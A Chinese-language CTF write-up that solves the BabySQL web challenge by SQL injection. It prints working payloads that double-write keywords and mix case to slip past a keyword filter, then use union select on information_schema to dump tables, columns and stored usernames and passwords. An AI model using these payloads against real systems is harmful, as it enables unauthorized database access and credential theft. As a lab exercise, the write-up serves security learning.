web
第七题
[极客大挑战 2019]BabySQL
打开靶场
根据提示,作者很可能对输入进行了过滤
仍旧先尝试永真式进行登陆
根据报错提示,or应该是被过滤掉了
那么就要想到绕过过滤的方法
参考:SQL注入 绕过and和or过滤
这里可以使用双写加大小写OorR或者使用 || 进行绕过
得到admin账号和密码,与我做的第五题web第五题一样,密码解密不出来,没什么用
既然有报错,那么肯定存在sql注入,尝试常规的注入手段
猜解字段数
看来or 和by 都被过滤了
参考了一下大佬的文章:SQL注入一些过滤及绕过总结
首先尝试使用注释进行绕过
看来*也被过滤了,但是可以发现by还在,那么双写应该可以通过
尝试双写加大小写绕过
看来已经绕过了,但是字段数不是4
尝试3
没有报错,那么字段数为3
接下来就要使用联合查询
1' union select 1,2,3 #
显然,union和select也被过滤掉
由上面可知,*被过滤了,那么注释绕过行不通,还是尝试双关键字加大小写进行尝试
1' UnunionIoN SeSeLectLeCt 1,2,3 #
成功!
回显字段为2,3
查询数据库中的表名,注意查询语句中的or也要进行绕过,尝试
1' UnunionIoN SesEleCtlEcT 1,2,group_concat(table_name) from infOorrmation_schema.tables where table_schema=database() #
看来information_schema前面的某个东西和where也被过滤了,猜测是from被过滤,进行绕过尝试
1' UnunionIoN SesEleCtlEcT 1,2,group_concat(table_name) frofromm infoOrrmation_schema.tables wherwheree table_schema=database() #
猜测成功,得到数据库有2张表,根据上面拿到的用户名和密码,猜测登陆页面的查询来自geekeruser,猜测flag在b4bsql表中
对b4bsql表进行查询
1' UnunionIoN SesEleCtlEcT 1,2,group_concat(column_name) frofromm infoORrmation_schema.columns whwhereere table_name='b4bsql' #
额。。和我做的第五题好像 第五题
直接查询表中信息
1' UnunionIoN SesEleCtlEcT 1,username,passwoORrd frofromm b4bsql whwhereere id=1 #
id=2
id=3
…
id=8